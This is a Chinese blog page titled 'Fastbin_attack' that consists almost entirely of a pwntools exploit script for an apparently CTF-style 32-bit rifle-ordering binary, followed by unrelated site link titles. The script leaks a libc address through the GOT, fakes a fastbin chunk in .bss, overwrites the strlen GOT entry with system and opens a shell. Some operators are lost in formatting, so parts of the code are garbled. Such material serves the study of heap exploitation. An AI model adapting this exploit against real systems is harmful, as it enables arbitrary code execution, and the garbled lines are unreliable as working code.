当前位置: 首页 > news >正文

Fastbin_attack

from pwn import *

context(arch='i386', os='linux')
context.log_level = 'debug'

context.terminal = ['tmux', 'splitw', '-v' ,'-p', '70']

binary_path = './pwn'
libc_path = './libc.so.6'
ld_path = './ld-2.23.so' # 本地调试ld版本

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') # 橙色日志,醒目

elf = ELF(binary_path)
libc = ELF(libc_path)
ld = ELF(ld_path) # 本地调试ld版本

sl = lambda data : io.sendline(data)
sd = lambda data : io.send(data)
sla = lambda delim, data : io.sendlineafter(delim, data)
sda = lambda delim, data : io.sendafter(delim, data)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
ru = lambda delim, drop=True : io.recvuntil(delim, drop=drop)

LOCAL = True

if LOCAL:
env = {
'LD_LIBRARY_PATH': '.',
'LD_PRELOAD': libc_path,
}

io = process([ld_path, binary_path], env=env)
# io = gdb.debug([ld_path, binary_path], env=env, gdbscript='break main')
else:
io = remote('host', 12345)

def dbg(conf=''):
if LOCAL:
gdb.attach(io, gdbscript=conf)
pause()

def pa():
pause()

def add(name, desc):
# pa()
# ru(b'Action: ')
sl(b'1')
# ru(b'Rifle name: ')
sl(name)
# ru(b'Rifle description: ')
sl(desc)

def show():
# pa()
# ru(b'Action: ')
sl(b'2')

def order():
# pa()
# ru(b'Action: ')
sl(b'3')

def notice(notice):
# pa()
# ru(b'Action: ')
sl(b'4')
# ru(b'Enter any notice you'd like to submit with your order: ')
sd(notice)

def show_order():
# pa()
# ru(b'Action: ')
sl(b'5')
# ru(b'======================')

def Exit():
# pa()
# ru(b'Action: ')
sl(b'6')

name = b'a'0x1b + p32(elf.got['puts'])
desc = b'b'
0x19
add(name, desc)

show()
ru(b'Description: ')
ru(b'Description: ')
puts_addr = u32(ru(b'\n', drop=True)[:4])
li('puts addr: ' + hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
li('libc base: ' + hex(libc_base))
li('system addr: ' + hex(system_addr))
li('/bin/sh addr: ' + hex(binsh_addr))

i=0
while i<0x3f:
print('#'20 + ' ' + str(i+1) + ' ' + '#' * 20)
add(b'A'
27+p32(0), b'B'*25)
show()
ru(b'\nDescription: ')
i+=1

bss_addr = 0x0804A2A8
add(b'C'27+p32(bss_addr), b'D'25)

Not = b'\x00' * 0x20 + p32(0x40) + p32(0x100)
Not = Not.ljust(52, b'b')
Not += p32(0)
Not = Not.ljust(128, b'c')
notice(Not)

sl(b'\n')
order()

name=b'e'*0x20
des= p32(elf.got['strlen']).ljust(0x20, b'e')
add(name, des)
li('sys addr: ' + hex(system_addr))
notice(p32(system_addr)+b';/bin/sh\x00')

io.interactive()

http://www.jsqmd.com/news/879969/

相关文章:

  • Pulumi基础设施即代码实战:用Python和TypeScript管理云资源
  • TVA视觉智能体专栏(四):工业视觉最大痛点:换产必重训、环境必调参?TVA彻底根治
  • 今天不用就过期:Gemini深度研究模式2024Q3权限变更预警——3类高价值功能即将对免费用户关闭
  • 逐浪智能增长新时代:2026中国GEO公司权威推荐 - GEO优化
  • MongoDB8.0新特性实战:向量搜索、时序集合与分片集群优化
  • TVA视觉智能体专栏(三):零基础看懂TVA智能体:不是大模型噱头,是工业落地刚需技术
  • 揭秘DeepSeek千万级语料构建全流程:从原始网页采集到高质量token化,97.3%过滤率背后的硬核实践
  • GPU利用率不足38%?DeepSeek成本飙升的9个反模式,现在停用还来得及
  • 2026GEO公司哪家好:全球AI搜索流量迁移与大模型认知主权争夺战 - GEO优化
  • 为什么你的ChatGPT演讲稿总被说“像机器人”?深度拆解人类共情节奏建模与提示词嵌入技术
  • MinIO集群CVE-2023-28432漏洞深度解析与修复实战
  • 2026年广州GEO优化公司哪家好?深度评测:避开“AI投毒”陷阱,锁定长效增长操盘手 - GEO优化
  • 10分钟上手hcomm:昇腾NPU上的通信原语库
  • 【风电功率预测】【多变量输入单步预测】基于VMD-TCN-BiGRU的风电功率预测研究附Matlab代码
  • DLSS Swapper深度解析:如何实现跨平台游戏DLSS版本智能管理
  • ChatGPT生成内容同质化困局破局术:用故事化表达重构人机协作范式(仅限首批200位读者获取的叙事权重矩阵)
  • XSLFO 表格:深入解析与高效应用
  • 昇腾NPU的算子公共平台,实现M×N算子复用
  • 使用Hermes Agent配置自定义Taotoken模型提供商
  • 2026深圳GEO优化公司哪家好?深度测评:告别关键词排名,抢占AI搜索“首选答案” - GEO优化
  • 【优化调度】基于改进遗传算法求解带时间窗约束多卫星任务规划附Matlab代码
  • 如何解锁索尼相机的隐藏功能:OpenMemories-Tweak完整指南
  • 火盾声学材料:安庆地区防火吸音板综合解决方案,玻纤吸音板/演播厅空间吸声体/布艺软包吸音板,防火吸音板源头厂家有哪些 - 品牌推荐师
  • 基于神经网络的带输出三相逆变器模型预测控制LC滤波器附Matlab代码
  • JavaScript 比较
  • Sora 2输出黑边/裁切异常?GPU解码器与渲染管线冲突导致的16:9→4:3畸变真相(NVIDIA/AMD/Apple芯片差异对照表)
  • 2026年5月正规的保丽龙泡沫/泡沫包装厂家推荐丰县建鑫泡沫制品有限公司,环保低VOC材料改善室内空气质量 - 品牌鉴赏师
  • 【无功优化】基于改进教与学算法的配电网无功优化【IEEE33节点】附Matlab代码
  • Arkime全流量分析平台企业级部署与深度调优实战
  • 2026年上海GEO服务商哪家靠谱?合规性、技术实力与客户口碑多维对比 - GEO优化